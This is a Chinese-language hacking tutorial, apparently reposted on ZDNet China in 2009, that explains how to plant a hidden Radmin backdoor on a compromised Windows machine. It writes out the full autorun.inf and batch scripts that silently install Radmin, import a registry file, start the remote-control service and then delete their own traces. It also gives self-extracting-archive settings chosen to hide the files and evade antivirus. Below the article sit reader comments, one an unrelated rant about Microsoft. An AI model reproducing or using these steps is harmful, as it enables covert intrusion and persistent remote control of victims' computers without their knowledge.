黑客绝技入侵网站全自动安装后门分析

ZDNet软件频道 时间:2009-11-04 作者: | 中国IT实验室 我要评论()
本文关键词:网站安全 入侵 黑客 Windows
运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了 《此法针对没有权限运行木马的入侵活动》

  1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件)

  思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。

  第一文件带动运行第二文件。同时第二运行第三

  运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了 《此法针对没有权限运行木马的入侵活动》

  制作:

  [autorun]

  open=shell.bat

  这个是autorun.inf

  @echo off

  hao.exe

  c:Windowsexplorer c:

  del autorun.inf

  del rad.exe

  del shell.bat

  这个是shell.bat

  hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》

  r.bat--》批处理做法

  @echo off

  @pchealthy.exe /install /silence

  @regedit /s admin.reg

  @net start r_server

  @del admin.reg

  @del r.bat

  其他四个就是Radmin的文件。这个大家都会,复制过来就行

  OK,我们再来看自解压的处理,在解压路径里我们用%systemroot%system32,就是解压到系统目录里,并且 “解压后运行”填上我们的r.bat文件!!!!!!

  因为这里的文件比较多,比较隐蔽

  解压模式我们选 “全部隐藏”,和 “覆盖所有文件”!

  好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!

  大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩

  哈哈。。这样就行啦。

  网站你也可以破《这篇文章总结了一些高手和自己的经验》

  写的不好别见怪。。。---》菜鸟要是能灵活运用这个也很厉害啦

  当然这个方法有一些局限性

网站安全

入侵

黑客

Windows

用户评论
用户名
评论内容
发表时间
ZDNet网友
2011-03-18 14:57:01
ZDNet网友
2010-05-21 00:49:14
ZDNet网友
2010-05-21 00:48:00
ZDNet网友
微软应该对自己的用户负责,如果用户完全使用xp升级微软win7,为什么要付出这样麻烦的代价?都是微软出品软件,且都是利用该软件获取信息以及处理文字、多媒体功能,微软应该尽可能方便用户!虽然有时候这样的请求也许跟不上时代技术发展的脚步,但是微软不要以此为借口,认为一切都理所应当,就不可以方便用户。还是要尽力,所谓拿人手短吃人嘴软,商业不正是讲求有商道吗!至少做人需诚实守信,尽可能帮助用户顺利、安全转换操作系统、各种必须软件功能尽可能兼容以及信息尽可能的少丢失!虽然这很大程度仅仅取决于微软等计算机专家、工程师的自我自律约束,我们普通用户恐怕很难知道微软究竟仅了多大力量为用户考虑,但是我相信真相会有被发现的一天,无论多久远。 微软从某种意义上来说,就是一个类似“掌握魔方”操作特别出神入化的公司。几乎奠定了电脑主要的“规则”,但是,我却相信不久将来我们会发现,电脑依然是非常有限的一个小系统而已!随着我们新的关键材料认知突破,电脑系统会真正被另一个革命性新电脑系统所取代,不要以为我这样的说法是无稽之谈不可实现,我却认为很有可能,只看这样的情况发生究竟是快还是慢,是早还是迟!变成历史的小玩具之后的电脑系统,微软会留下良好的历史声名吗?我们拭目以待! 网友::我爱佛祖
2010-02-03 13:52:55
- 发表评论 -
匿名
注册用户

百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134